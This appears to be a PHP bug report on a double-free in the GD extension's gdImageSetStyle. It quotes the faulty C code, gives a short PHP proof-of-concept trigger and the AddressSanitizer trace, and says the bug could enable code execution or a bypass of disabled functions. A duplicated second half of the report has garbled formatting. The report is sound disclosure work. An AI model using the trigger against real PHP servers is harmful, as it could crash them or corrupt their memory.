Description
Summary
im->style is freed at line 2883 but never set to NULL. When overflow2(sizeof(int), noOfPixels) returns true (i.e., noOfPixels > INT_MAX / sizeof(int)), the function returns at line 2886 with im->style still holding the now-freed pointer.
Two separate code paths will subsequently free the dangling pointer:
- Next call to
gdImageSetStyle(): line 2882 checks if (im->style)
(still non-NULL), then line 2883 calls gdFree(im->style) again.
- GD object destructor: When the PHP
GdImage object is GC'd,
php_gd_image_object_free (gd.c:180) calls gdImageDestroy, which hits
if (im->style) { gdFree(im->style); } at lines 265-266. This fires
automatically on unset($im) or script shutdown.
Note:
The explicit imagedestroy() call is deprecated since PHP 8.5 and has no
direct effect. The double free comes from the destructor during PHP's GC
sweep, not from imagedestroy()` itself.
Vulnerable Source Code
void gdImageSetStyle(gdImagePtr im, int *style, int noOfPixels)
{
if (im->style) {
gdFree(im->style); // frees old style -- no NULL assignment follows
}
if (overflow2(sizeof(int), noOfPixels)) {
return; // early return leaves im->style dangling
}
im->style = (int *) gdMalloc(sizeof(int) * noOfPixels);
memcpy(im->style, style, sizeof(int) * noOfPixels);
im->styleLength = noOfPixels;
im->stylePos = 0;
}
How to Trigger
<?php
$im = imagecreatetruecolor(1, 1);
imagesetstyle($im, [0]);
imagesetstyle($im, array_fill(0, 536870912, 0));
Command:
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
In the POC, line 2 allocates im->style. Line 3 frees it and returns early (overflow), leaving im->style dangling. Line 4 triggers the overflow. The double free fires when PHP GC's $im at script end via php_gd_image_object_free -> gdImageDestroy -> gdFree(im->style).
Output:
Warning: imagesetstyle(): Product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully
in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f3/poc.php on line 4
=================================================================
==35745==ERROR: AddressSanitizer: attempting double-free on 0x602000007670 in thread T0:
#0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001044d123c in __zend_free zend_alloc.c:3571
#2 0x0001044d4f50 in _efree zend_alloc.c:2788
#3 0x00010346142c in php_gd_gdImageDestroy gd.c:266
#4 0x000103402794 in php_gd_image_object_free gd.c:180
#5 0x000104b88d30 in zend_objects_store_del zend_objects_API.c:193
#6 0x000104beef2c in rc_dtor_func zend_variables.c:56
#7 0x000104bef040 in i_zval_ptr_dtor zend_variables.h:44
#8 0x000104beef68 in zval_ptr_dtor zend_variables.c:83
#9 0x000104a83d74 in _zend_hash_del_el_ex zend_hash.c:1502
#10 0x000104a82cfc in _zend_hash_del_el zend_hash.c:1529
#11 0x000104a8bf94 in zend_hash_reverse_apply zend_hash.c:2245
#12 0x00010460c140 in shutdown_destructors zend_execute_API.c:259
#13 0x000104c07f78 in zend_call_destructors zend.c:1339
#14 0x00010425ee4c in php_request_shutdown main.c:1983
#15 0x000104c11808 in do_cli php_cli.c:1166
#16 0x000104c0e0cc in main php_cli.c:1370
#17 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
0x602000007670 is located 0 bytes inside of 4-byte region [0x602000007670,0x602000007674)
freed by thread T0 here:
#0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
#1 0x0001044d123c in __zend_free zend_alloc.c:3571
#2 0x0001044d4f50 in _efree zend_alloc.c:2788
#3 0x0001034696cc in php_gd_gdImageSetStyle gd.c:2883
#4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
#5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#6 0x000104636194 in execute_ex zend_vm_execute.h:110168
#7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
#8 0x000104c09350 in zend_execute_script zend.c:1971
#9 0x0001042624f4 in php_execute_script_ex main.c:2646
#10 0x000104262a64 in php_execute_script main.c:2686
#11 0x000104c0fb0c in do_cli php_cli.c:947
#12 0x000104c0e0cc in main php_cli.c:1370
#13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
previously allocated by thread T0 here:
#0 0x000107e14e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
#1 0x0001044d5560 in __zend_malloc zend_alloc.c:3543
#2 0x0001044d4e24 in _emalloc zend_alloc.c:2778
#3 0x00010346970c in php_gd_gdImageSetStyle gd.c:2888
#4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
#5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
#6 0x000104636194 in execute_ex zend_vm_execute.h:110168
#7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
#8 0x000104c09350 in zend_execute_script zend.c:1971
#9 0x0001042624f4 in php_execute_script_ex main.c:2646
#10 0x000104262a64 in php_execute_script main.c:2686
#11 0x000104c0fb0c in do_cli php_cli.c:947
#12 0x000104c0e0cc in main php_cli.c:1370
#13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)
SUMMARY: AddressSanitizer: double-free zend_alloc.c:3571 in __zend_free
==35745==ABORTING
[1] 35745 abort USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php
Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-2233-r24f-4m45 is not part of PHP's threat model (which is wrong, but that's not my call).
"This is a bug, but not a security issue. Please report as a regular issue."
PHP Version
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
Operating System
No response
Description
Summary
im->styleis freed at line 2883 but never set toNULL. Whenoverflow2(sizeof(int), noOfPixels)returns true (i.e.,noOfPixels > INT_MAX / sizeof(int)), the function returns at line 2886 withim->stylestill holding the now-freed pointer.Two separate code paths will subsequently free the dangling pointer:
gdImageSetStyle(): line 2882 checksif (im->style)(still non-NULL), then line 2883 calls
gdFree(im->style)again.GdImageobject is GC'd,php_gd_image_object_free(gd.c:180) callsgdImageDestroy, which hitsif (im->style) { gdFree(im->style); }at lines 265-266. This firesautomatically on
unset($im)or script shutdown.Vulnerable Source Code
How to Trigger
Command:
In the POC, line 2 allocates
im->style. Line 3 frees it and returns early (overflow), leavingim->styledangling. Line 4 triggers the overflow. The double free fires when PHP GC's$imat script end viaphp_gd_image_object_free->gdImageDestroy->gdFree(im->style).Output:
PHP Version
Operating System
No response